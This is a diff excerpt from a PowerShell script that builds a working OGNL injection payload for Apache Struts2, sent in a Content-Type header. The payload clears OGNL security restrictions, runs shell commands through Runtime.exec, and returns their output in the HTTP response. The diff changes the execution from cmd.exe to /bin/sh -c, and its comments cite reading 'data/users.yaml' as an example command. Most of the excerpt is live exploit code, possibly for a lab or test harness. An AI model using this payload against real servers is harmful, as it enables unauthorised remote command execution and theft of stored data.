@@ -218,22 +218,22 @@ if ($DiagLevel -gt 0) {
218218 # setMemberAccess to DEFAULT_MEMBER_ACCESS (allows static method calls
219219 # like getResponse()). DEFAULT_MEMBER_ACCESS is a static FIELD, not a
220220 # method, so it is accessible even with allowStaticMethodAccess=false.
221- # 6. Runtime.exec(String) runs the command via cmd.exe. We use a single
222- # string (not ProcessBuilder) because OGNL's constructor resolution can
223- # struggle with ProcessBuilder(List) vs ProcessBuilder(String[]).
221+ # 6. Runtime.exec(String[]) runs the command via /bin/sh. We use a String
222+ # array form so the shell receives the command as a single token — the
223+ # single-string overload uses StringTokenizer which would split on spaces
224+ # and break commands like 'cat data/users.yaml' into separate arguments.
224225 # 7. waitFor() ensures the process exits; readAllBytes() drains stdout.
225226 # 8. Write output bytes via getOutputStream() + setContentLength +
226227 # flushBuffer() to commit the response before JSP rendering.
227228 #
228229 $escapedCmd = $Command -replace " '" , " ''"
229- $escapedCmd = $escapedCmd -replace ' \\' , ' \\' # double backslashes for OGNL escape sequences
230230 $contentType = " .%{" +
231231 " (#container=#context['com.opensymphony.xwork2.ActionContext.container'])." +
232232 " (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." +
233233 " (#ognlUtil.getExcludedPackageNames().clear())." +
234234 " (#ognlUtil.getExcludedClasses().clear())." +
235235 " (#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))." +
236- " (#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c $escapedCmd '))." +
236+ " (#process=@java.lang.Runtime@getRuntime().exec(new String[]{'/bin/sh','-c',' $escapedCmd '} ))." +
237237 " (#process.waitFor())." +
238238 " (#out=new java.lang.String(#process.getInputStream().readAllBytes(),'UTF-8'))." +
239239 " (#response=@org.apache.struts2.ServletActionContext@getResponse())." +
0 commit comments